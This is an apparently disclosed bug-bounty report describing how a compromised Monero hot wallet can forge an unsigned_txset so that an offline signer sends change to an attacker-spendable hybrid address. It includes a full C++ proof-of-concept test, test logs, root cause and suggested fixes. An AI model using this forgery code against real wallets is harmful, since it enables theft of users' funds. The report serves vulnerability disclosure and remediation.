HexBrain

Monero · Report #3621588

Authenticated `unsigned_txset` change spoof lets a malicious hot wallet steal cold-signer change

Validstatus
highseverity
32upvotes
16 Sept 2026disclosed

How it was found

Summary

I found a software cold-signing theft issue in Monero's unsigned_txset flow. A malicious or compromised hot/watch-only wallet that has the victim wallet's private view key can forge an authenticated unsigned transaction so that Monero's confirmation surfaces present an attacker-controlled output as change, and the offline signer then reconstructs and signs that output as change. By using a hybrid address built from the victim's public view key and an attacker spend public key, the resulting one-time output becomes spendable by the attacker and not by the victim.

This is a direct loss-of-funds issue in Monero's wallet code. It is not only a display bug, and it does not require bypassing Trezor or Ledger firmware.

Asset / Product

  • Monero wallet code in monero-project/monero
  • monero-wallet-cli cold signing via sign_transfer
  • wallet RPC describe_transfer and sign_transfer
  • wallet API / GUI loading of unsigned transactions
  • underlying tools::wallet2::sign_tx(unsigned_tx_set &...)

Severity

  • Monero VRP: HIGH
  • Suggested CVSS v3.1: 6.8 (advisory)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:N

Reasoning:

  • Monero's VRP classifies bugs that result in loss of monero as HIGH.
  • This issue allows deterministic theft of cold-signer change once the victim approves signing.
  • The CVSS vector assumes the attacker can control the hot/watch-only wallet, or otherwise has the private view key needed to generate a valid authenticated unsigned_txset.
  • I score AC:L because once the attacker is in that hot-wallet/view-key role, exploitation is a straightforward metadata rewrite and signing prompt, not a race or environment-dependent chain.
  • PR:L and UI:R reflect that trust-boundary precondition, and A:N reflects that the impact described here is theft/integrity loss rather than service disruption.
  • If triaged strictly as a local compromise of the hot-wallet host, the CVSS base score would be lower, but the Monero VRP severity remains HIGH because successful exploitation directly causes loss of monero.

Versions

Monero's VRP asks for versions known affected, versions known not affected, and versions not checked.

Versions Known Affected

  • Source-checked vulnerable: v0.18.4.6
    • wallet2::sign_tx(unsigned_tx_set &...) still reconstructs the signed transaction with serialized sd.change_dts.addr
    • CLI / API / RPC unsigned-tx description paths still trust claimed change as long as it is a paid address
  • Runtime-checked vulnerable: current checkout at b9998fc9e1c280d30e4b40ba983b1964eb256d66
    • local PoC cold_signing_change_spoof.* passes on this checkout
  • Source-checked vulnerable range by local history: v0.12.0.0 through current master
    • the vulnerable cold-signing shape was introduced by commit 53ad5a0f42174bca57e24485ef3d40e4b9cf5599 (Subaddresses, 2017-10-07), first released in v0.12.0.0
    • I did not identify a fix in the local history or current checkout

Versions Known Not Affected

  • Source-checked not affected: v0.11.1.0
    • its older offline-signing path does not pass a serialized change address into construct_tx_and_get_tx_key(...), so this specific hybrid-change theft path is not present there

Versions Not Checked

  • I did not individually execute the PoC on historical release tags

Threat Model / Preconditions

  1. The victim uses Monero's software cold-signing flow based on unsigned_txset.
  2. The attacker controls the hot/watch-only wallet, or otherwise has the wallet's private view key and can generate the unsigned tx blob.
  3. The victim reviews and signs the forged transaction.

These are the intended trust-boundary assumptions for Monero software cold signing, not an out-of-scope prerequisite such as prior compromise of the offline signer.

Technical Root Cause

  1. tx_construction_data serializes both change_dts and splitted_dsts, so unsigned-tx files contain attacker-controlled claimed-change metadata.
  2. Unsigned tx blobs are authenticated with the wallet's private view key, which means a malicious hot/watch-only wallet can tamper with them while keeping them valid.
  3. The CLI, wallet API, and wallet RPC confirmation paths trust change_dts.addr if it is merely a paid address, but they do not verify that it belongs to the signing wallet.
  4. wallet2::sign_tx(unsigned_tx_set &...) then passes the untrusted change_dts.addr into construct_tx_and_get_tx_key(...).
  5. For outputs classified as change, Monero's output derivation uses the sender private view key plus the destination spend public key.
  6. This lets an attacker use a hybrid address made from the victim view pubkey and an attacker spend pubkey, so the forged change output becomes attacker-spendable.

Reproduction

This report includes the two pieces Monero's VRP currently requires for AI-assisted reports:

  1. a working proof of concept
  2. relevant logs

The local PoC now covers both the signing consequence and the forged-blob roundtrip.

What the local PoC directly proves:

  • a hybrid address using the victim's view key and an attacker spend key is accepted by normal Monero address parsing
  • a legitimate unsigned_txset can be created from wallet-owned outputs
  • a malicious hot/watch-only side can rewrite serialized change_dts and splitted_dsts, re-authenticate the blob with the wallet's private view key, and feed that forged blob to the cold signer
  • wallet2::sign_tx(unsigned_tx_set &...) accepts that forged blob and reconstructs a signed transaction whose change output is attacker-spendable and not victim-spendable

What remains source-checked rather than runtime-driven in this PoC:

  • CLI / GUI / API / RPC unsigned-tx description surfaces trust claimed change if it is merely among the paid addresses
  • those entry points converge on the same unsigned-tx load / describe / sign flow, and the shared signing sink wallet2::sign_tx(unsigned_tx_set &...) is runtime-demonstrated by the PoC above

Why this maps to the real Monero signing flow:

  1. unsigned_txset data serializes both change_dts and splitted_dsts
  2. unsigned-tx blobs are authenticated with the wallet's private view key, so a malicious hot/watch-only wallet can produce a valid forged blob
  3. CLI / GUI / API / RPC description paths only verify that claimed change is among paid addresses
  4. wallet2::sign_tx(unsigned_tx_set &...) reconstructs the real transaction with sd.change_dts.addr
  5. unlike the online transaction-creation path, sign_tx(...) does not apply the Change address is not ours ownership check before signing

Inline PoC file excerpt (forged roundtrip):

// tests/unit_tests/cold_signing_change_spoof.cpp
// unrelated include directives omitted for brevity

namespace
{
constexpr char k_unsigned_tx_prefix[] = "Monero unsigned tx set\005";

std::string dump_unsigned_txset_with_view_key(
    const tools::wallet2::unsigned_tx_set &unsigned_txs,
    const crypto::secret_key &view_secret_key,
    uint64_t kdf_rounds = 1)
{
  std::ostringstream oss;
  binary_archive<true> ar(oss);
  tools::wallet2::unsigned_tx_set copy = unsigned_txs;

  try
  {
    if (!::serialization::serialize(ar, copy))
      return {};
  }
  catch (...)
  {
    return {};
  }

  crypto::chacha_key key;
  crypto::generate_chacha_key(&view_secret_key, sizeof(view_secret_key), key, kdf_rounds);

  std::string ciphertext;
  crypto::chacha_iv iv = crypto::rand<crypto::chacha_iv>();
  ciphertext.resize(oss.str().size() + sizeof(iv) + sizeof(crypto::signature));
  crypto::chacha20(oss.str().data(), oss.str().size(), key, iv, &ciphertext[sizeof(iv)]);
  std::memcpy(&ciphertext[0], &iv, sizeof(iv));

  crypto::hash hash;
  crypto::cn_fast_hash(ciphertext.data(), ciphertext.size() - sizeof(crypto::signature), hash);
  crypto::public_key view_public_key;
  crypto::secret_key_to_public_key(view_secret_key, view_public_key);
  crypto::signature &signature =
      *reinterpret_cast<crypto::signature *>(&ciphertext[ciphertext.size() - sizeof(crypto::signature)]);
  crypto::generate_signature(hash, view_public_key, view_secret_key, signature);

  return std::string(k_unsigned_tx_prefix, sizeof(k_unsigned_tx_prefix) - 1) + ciphertext;
}

std::tuple<uint64_t, uint64_t, std::vector<tools::wallet2::exported_transfer_details>>
collect_exported_outputs_for_account(
    const std::vector<test_event_entry> &events,
    const cryptonote::block &blk_head,
    const cryptonote::account_base &account)
{
  std::vector<cryptonote::block> blockchain;
  map_hash2tx_t mtx;
  if (!find_block_chain(events, blockchain, mtx, get_block_hash(blk_head)))
    return {};

  std::unordered_map<uint64_t, uint64_t> next_global_output_index;
  std::vector<tools::wallet2::exported_transfer_details> exported_outputs;

  for (const cryptonote::block &blk : blockchain)
  {
    std::vector<const cryptonote::transaction *> txs;
    txs.push_back(&blk.miner_tx);
    for (const crypto::hash &tx_hash : blk.tx_hashes)
      txs.push_back(mtx.at(tx_hash));

    for (const cryptonote::transaction *tx : txs)
    {
      const crypto::public_key tx_pub_key = get_tx_pub_key_from_extra(*tx);
      const std::vector<crypto::public_key> additional_tx_pub_keys = get_additional_tx_pub_keys_from_extra(*tx);
      for (size_t out_index = 0; out_index < tx->vout.size(); ++out_index)
      {
        crypto::public_key out_key;
        if (!cryptonote::get_output_public_key(tx->vout[out_index], out_key))
          continue;

        const uint64_t amount_bucket = tx->version == 2 ? 0 : tx->vout[out_index].amount;
        const uint64_t global_output_index = next_global_output_index[amount_bucket]++;

        if (!cryptonote::is_out_to_acc(
                account.get_keys(), out_key, tx_pub_key, additional_tx_pub_keys, out_index))
          continue;

        tools::wallet2::exported_transfer_details etd{};
        etd.m_pubkey = out_key;
        etd.m_internal_output_index = out_index;
        etd.m_global_output_index = global_output_index;
        etd.m_tx_pubkey = tx_pub_key;
        etd.m_flags.flags = 0;
        etd.m_amount = tx->vout[out_index].amount;
        etd.m_additional_tx_keys = additional_tx_pub_keys;
        etd.m_subaddr_index_major = 0;
        etd.m_subaddr_index_minor = 0;
        exported_outputs.push_back(etd);
      }
    }
  }

  return {0, exported_outputs.size(), exported_outputs};
}
} // namespace

TEST(cold_signing_change_spoof, forged_unsigned_txset_roundtrip_signs_attacker_change)
{
  GENERATE_ACCOUNT(victim);
  GENERATE_ACCOUNT(recipient);
  victim.set_createtime(0);
  recipient.set_createtime(0);

  tools::wallet2 builder_wallet;
  wallet_accessor_test::set_account(&builder_wallet, victim);

  tools::wallet2 control_signer_wallet;
  wallet_accessor_test::set_account(&control_signer_wallet, victim);

  tools::wallet2 forged_signer_wallet;
  wallet_accessor_test::set_account(&forged_signer_wallet, victim);

  tools::wallet2 hot_wallet;
  hot_wallet.generate("", "", victim.get_keys().m_account_address, victim.get_keys().m_view_secret_key, false);

  test_generator generator;
  std::vector<test_event_entry> events;
  cryptonote::block blk_0;
  ASSERT_TRUE(cryptonote::generate_genesis_block(
      blk_0, cryptonote::get_config(cryptonote::MAINNET).GENESIS_TX, cryptonote::get_config(cryptonote::MAINNET).GENESIS_NONCE));
  events.push_back(blk_0);
  std::vector<size_t> block_weights;
  generator.add_block(
      blk_0, 0, block_weights, 0, cryptonote::get_outs_money_amount(blk_0.miner_tx), blk_0.major_version);
  REWIND_BLOCKS(events, blk_unlock, blk_0, victim);

  const uint64_t send_amount = MK_COINS(1);
  const auto exported_outputs = collect_exported_outputs_for_account(events, blk_unlock, victim);
  ASSERT_FALSE(std::get<2>(exported_outputs).empty());
  ASSERT_EQ(builder_wallet.import_outputs(exported_outputs), std::get<2>(exported_outputs).size());

  std::vector<cryptonote::tx_destination_entry> requested_dests;
  requested_dests.emplace_back(send_amount, recipient.get_keys().m_account_address, false);

  cryptonote::transaction legitimate_tx;
  tools::wallet2::pending_tx legitimate_ptx;
  std::vector<size_t> selected_transfers;
  std::vector<std::vector<tools::wallet2::get_outs_entry>> outs;

  uint64_t selected_amount = 0;
  tools::wallet2::transfer_container transfers;
  builder_wallet.get_transfers(transfers);
  for (size_t i = 0; i < transfers.size() && selected_amount < send_amount + TESTS_DEFAULT_FEE; ++i)
  {
    const tools::wallet2::transfer_details &td = transfers[i];
    if (td.m_spent)
      continue;

    selected_transfers.push_back(i);
    selected_amount += td.amount();
    outs.push_back({tools::wallet2::get_outs_entry{
        td.m_global_output_index, td.get_public_key(), rct::commit(td.amount(), td.m_mask)}});
  }

  ASSERT_FALSE(selected_transfers.empty());
  ASSERT_GE(selected_amount, send_amount + TESTS_DEFAULT_FEE);

  std::vector<cryptonote::tx_source_entry> sources;
  uint64_t found_money = 0;
  for (size_t out_index = 0; out_index < selected_transfers.size(); ++out_index)
  {
    const size_t idx = selected_transfers[out_index];
    const tools::wallet2::transfer_details &td = transfers[idx];
    cryptonote::tx_source_entry src;
    src.amount = td.amount();
    src.rct = td.is_rct();

    ASSERT_EQ(outs[out_index].size(), 1u);
    for (const tools::wallet2::get_outs_entry &out : outs[out_index])
    {
      cryptonote::tx_source_entry::output_entry oe;
      oe.first = std::get<0>(out);
      oe.second.dest = rct::pk2rct(std::get<1>(out));
      oe.second.mask = std::get<2>(out);
      src.outputs.push_back(oe);
    }

    auto real_it = std::find_if(src.outputs.begin(), src.outputs.end(), [&](const auto &entry) {
      return entry.first == td.m_global_output_index;
    });
    ASSERT_NE(real_it, src.outputs.end());

    cryptonote::tx_source_entry::output_entry real_output;
    real_output.first = td.m_global_output_index;
    real_output.second.dest = rct::pk2rct(td.get_public_key());
    real_output.second.mask = rct::commit(td.amount(), td.m_mask);
    *real_it = real_output;

    src.real_out_tx_key = get_tx_pub_key_from_extra(td.m_tx, td.m_pk_index);
    src.real_out_additional_tx_keys = get_additional_tx_pub_keys_from_extra(td.m_tx);
    src.real_output = real_it - src.outputs.begin();
    src.real_output_in_tx_index = td.m_internal_output_index;
    src.mask = td.m_mask;
    src.multisig_kLRki = rct::multisig_kLRki({rct::zero(), rct::zero(), rct::zero(), rct::zero()});

    found_money += td.amount();
    sources.push_back(src);
  }

  std::vector<cryptonote::tx_destination_entry> splitted_dsts = requested_dests;
  cryptonote::tx_destination_entry change_dts = AUTO_VAL_INIT(change_dts);
  change_dts.amount = found_money - (send_amount + TESTS_DEFAULT_FEE);
  change_dts.addr = builder_wallet.get_subaddress({0, 0});
  change_dts.is_subaddress = false;
  splitted_dsts.push_back(change_dts);

  const std::vector<cryptonote::tx_source_entry> sources_copy = sources;
  crypto::secret_key tx_key = crypto::null_skey;
  std::vector<crypto::secret_key> additional_tx_keys;
  ASSERT_TRUE(cryptonote::construct_tx_and_get_tx_key(
      builder_wallet.get_account().get_keys(),
      wallet_accessor_test::get_subaddresses(&builder_wallet),
      sources,
      splitted_dsts,
      change_dts.addr,
      {},
      legitimate_tx,
      tx_key,
      additional_tx_keys,
      true,
      {rct::RangeProofPaddedBulletproof, 3},
      false));

  legitimate_ptx.fee = TESTS_DEFAULT_FEE;
  legitimate_ptx.dust = 0;
  legitimate_ptx.dust_added_to_fee = false;
  legitimate_ptx.tx = legitimate_tx;
  legitimate_ptx.change_dts = change_dts;
  legitimate_ptx.selected_transfers = selected_transfers;
  legitimate_ptx.tx_key = tx_key;
  legitimate_ptx.additional_tx_keys = additional_tx_keys;
  legitimate_ptx.dests = requested_dests;
  legitimate_ptx.multisig_sigs.clear();
  legitimate_ptx.multisig_tx_key_entropy = crypto::null_skey;
  legitimate_ptx.construction_data.sources = sources_copy;
  legitimate_ptx.construction_data.change_dts = change_dts;
  legitimate_ptx.construction_data.splitted_dsts = splitted_dsts;
  legitimate_ptx.construction_data.selected_transfers = selected_transfers;
  legitimate_ptx.construction_data.extra = legitimate_tx.extra;
  legitimate_ptx.construction_data.unlock_time = 0;
  legitimate_ptx.construction_data.use_rct = true;
  legitimate_ptx.construction_data.rct_config = {rct::RangeProofPaddedBulletproof, 3};
  legitimate_ptx.construction_data.use_view_tags = false;
  legitimate_ptx.construction_data.dests = requested_dests;
  legitimate_ptx.construction_data.subaddr_account = 0;
  legitimate_ptx.construction_data.subaddr_indices.insert(0);

  const std::string legitimate_blob = builder_wallet.dump_tx_to_str({legitimate_ptx});
  ASSERT_FALSE(legitimate_blob.empty());

  tools::wallet2::unsigned_tx_set legitimate_unsigned;
  ASSERT_TRUE(control_signer_wallet.parse_unsigned_tx_from_str(legitimate_blob, legitimate_unsigned));
  ASSERT_EQ(legitimate_unsigned.txes.size(), 1u);

  std::vector<tools::wallet2::pending_tx> legitimate_signed_ptxs;
  tools::wallet2::signed_tx_set legitimate_signed_txs;
  ASSERT_TRUE(control_signer_wallet.sign_tx(legitimate_unsigned, legitimate_signed_ptxs, legitimate_signed_txs));
  ASSERT_EQ(legitimate_signed_ptxs.size(), 1u);

  tools::wallet2::unsigned_tx_set forged_unsigned;
  ASSERT_TRUE(hot_wallet.parse_unsigned_tx_from_str(legitimate_blob, forged_unsigned));
  ASSERT_EQ(forged_unsigned.txes.size(), 1u);

  crypto::public_key attacker_spend_public;
  crypto::secret_key attacker_spend_secret;
  crypto::secret_key attacker_recovery_key = crypto::null_skey;
  crypto::generate_keys(attacker_spend_public, attacker_spend_secret, attacker_recovery_key, false);

  cryptonote::account_public_address hybrid_change_address = victim.get_keys().m_account_address;
  hybrid_change_address.m_spend_public_key = attacker_spend_public;

  auto &forged_cd = forged_unsigned.txes.front();
  forged_cd.change_dts.addr = hybrid_change_address;
  forged_cd.change_dts.is_subaddress = false;
  forged_cd.splitted_dsts.back().addr = hybrid_change_address;
  forged_cd.splitted_dsts.back().is_subaddress = false;

  const std::string forged_blob =
      dump_unsigned_txset_with_view_key(forged_unsigned, victim.get_keys().m_view_secret_key);
  ASSERT_FALSE(forged_blob.empty());

  tools::wallet2::unsigned_tx_set loaded_forged_unsigned;
  ASSERT_TRUE(forged_signer_wallet.parse_unsigned_tx_from_str(forged_blob, loaded_forged_unsigned));
  ASSERT_EQ(loaded_forged_unsigned.txes.size(), 1u);
  ASSERT_EQ(loaded_forged_unsigned.txes.front().change_dts.addr, hybrid_change_address);
  ASSERT_EQ(loaded_forged_unsigned.txes.front().splitted_dsts.back().addr, hybrid_change_address);

  std::vector<tools::wallet2::pending_tx> signed_ptxs;
  tools::wallet2::signed_tx_set signed_txs;
  ASSERT_TRUE(forged_signer_wallet.sign_tx(loaded_forged_unsigned, signed_ptxs, signed_txs));
  ASSERT_EQ(signed_ptxs.size(), 1u);
  ASSERT_EQ(signed_ptxs.front().change_dts.addr, hybrid_change_address);

  const cryptonote::transaction &signed_tx = signed_ptxs.front().tx;
  const crypto::public_key tx_public_key = cryptonote::get_tx_pub_key_from_extra(signed_tx);

  crypto::key_derivation attacker_derivation;
  ASSERT_TRUE(
      crypto::generate_key_derivation(tx_public_key, victim.get_keys().m_view_secret_key, attacker_derivation));

  size_t attacker_output_index = std::numeric_limits<size_t>::max();
  crypto::public_key attacker_output_public_key = crypto::null_pkey;
  for (size_t i = 0; i < signed_tx.vout.size(); ++i)
  {
    crypto::public_key out_public_key;
    ASSERT_TRUE(cryptonote::get_output_public_key(signed_tx.vout[i], out_public_key));

    crypto::public_key attacker_expected_public_key;
    ASSERT_TRUE(crypto::derive_public_key(attacker_derivation, i, attacker_spend_public, attacker_expected_public_key));
    if (out_public_key == attacker_expected_public_key)
    {
      attacker_output_index = i;
      attacker_output_public_key = out_public_key;
      break;
    }
  }

  ASSERT_NE(attacker_output_index, std::numeric_limits<size_t>::max());

  crypto::secret_key attacker_one_time_secret_key;
  crypto::derive_secret_key(
      attacker_derivation, attacker_output_index, attacker_spend_secret, attacker_one_time_secret_key);
  crypto::public_key attacker_one_time_public_key;
  ASSERT_TRUE(crypto::secret_key_to_public_key(attacker_one_time_secret_key, attacker_one_time_public_key));
  ASSERT_EQ(attacker_output_public_key, attacker_one_time_public_key);

  crypto::secret_key victim_one_time_secret_key;
  crypto::derive_secret_key(
      attacker_derivation, attacker_output_index, victim.get_keys().m_spend_secret_key, victim_one_time_secret_key);
  crypto::public_key victim_one_time_public_key;
  ASSERT_TRUE(crypto::secret_key_to_public_key(victim_one_time_secret_key, victim_one_time_public_key));
  ASSERT_NE(attacker_output_public_key, victim_one_time_public_key);
}

Local PoC tests used:

  • cold_signing_change_spoof.hybrid_change_address_is_attacker_spendable
  • cold_signing_change_spoof.forged_unsigned_txset_roundtrip_signs_attacker_change

Validated locally with:

./build-audit-run/tests/unit_tests/unit_tests --gtest_filter='cold_signing_change_spoof.*'

Observed output:

Note: Google Test filter = cold_signing_change_spoof.*
[==========] Running 2 tests from 1 test suite.
[----------] Global test environment set-up.
[----------] 2 tests from cold_signing_change_spoof
[ RUN      ] cold_signing_change_spoof.hybrid_change_address_is_attacker_spendable
[step 1] Parsed hybrid address with victim view key and attacker spend key
[step 2] Generated change-classified output for the hybrid address
[step 3] Derived shared secret using the victim view secret key
[step 4] Output public key matches attacker spend path
[step 5] Attacker can derive the one-time spend key for the forged change output
[step 6] Victim spend key does not recover the forged change output
[       OK ] cold_signing_change_spoof.hybrid_change_address_is_attacker_spendable (0 ms)
[ RUN      ] cold_signing_change_spoof.forged_unsigned_txset_roundtrip_signs_attacker_change
[roundtrip prep 0] Generated victim and recipient accounts
[roundtrip prep 0b] Initialized builder, signer, and hot wallets
[roundtrip prep 0c] Built standard-genesis synthetic chain and rewound spendable blocks
[roundtrip prep 1] Imported synthetic outputs into the builder wallet
[roundtrip prep 1b] Builder wallet now tracks 311 imported transfer(s)
[roundtrip prep 2] Selected 5 owned transfer(s) totaling 7592169267200
[roundtrip prep 3] Builder wallet produced a legitimate pending_tx with wallet-owned sources
2026-03-22 18:57:03.865	W saving 1 transactions
[roundtrip prep 4] Exported the legitimate pending_tx into an unsigned_txset blob
[roundtrip 0] Legitimate unsigned_txset roundtrips through cold sign before forgery
[roundtrip 1] Loaded a legitimate unsigned_txset with the hot wallet view key
[roundtrip 2] Replaced serialized change metadata with a hybrid victim-view / attacker-spend address
[roundtrip 3] Re-authenticated the forged unsigned_txset so the cold signer loads attacker change as valid metadata
[roundtrip 4] Cold signing accepted the forged change address and reconstructed the signed transaction
[roundtrip 5] The signed forged change output is attacker-spendable and not recoverable by the victim spend key
[       OK ] cold_signing_change_spoof.forged_unsigned_txset_roundtrip_signs_attacker_change (1506 ms)
[----------] 2 tests from cold_signing_change_spoof (1507 ms total)

[----------] Global test environment tear-down
[==========] 2 tests from 1 test suite ran. (1507 ms total)
[  PASSED  ] 2 tests.

Workarounds

  • There is no reliable workaround short of independently verifying on the cold side that the claimed change address belongs to the signing wallet.
  • Until fixed, operators should treat serialized change_dts in an unsigned transaction as untrusted metadata.
  • If the full change address cannot be verified against signer-owned addresses or subaddresses, the unsigned transaction should not be signed.

Suggested Fix

  1. Before signing an unsigned_txset, reject any nonzero change_dts.addr whose spend public key is not in m_subaddresses.
  2. Apply the same ownership validation to CLI / GUI / RPC unsigned-tx description paths.
  3. Prefer recomputing displayed change from signer-owned outputs rather than trusting serialized change_dts.

AI Disclosure

AI assistance was used for source review, drafting, and organization. This draft includes a working local PoC and relevant logs. All technical claims retained in this draft were checked against the local source tree and local test output before inclusion.

Bounty Payment

If accepted for payment, please use this Monero Address. 46Xi9JyEnEjYDuBWYrWNo8MLKyQ1BiL1VbFMJoZkrL2w8ZABc7ALQoyRspCgnkQKbwgPuM6wJEqoCF7U1Cpxo5981Uhr8TN

Impact

  • direct theft of cold-signer change
  • forged recipient/change review in CLI, GUI/API, and wallet RPC description surfaces
  • failure of Monero's cold-signing trust boundary against the untrusted hot/watch-only side

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original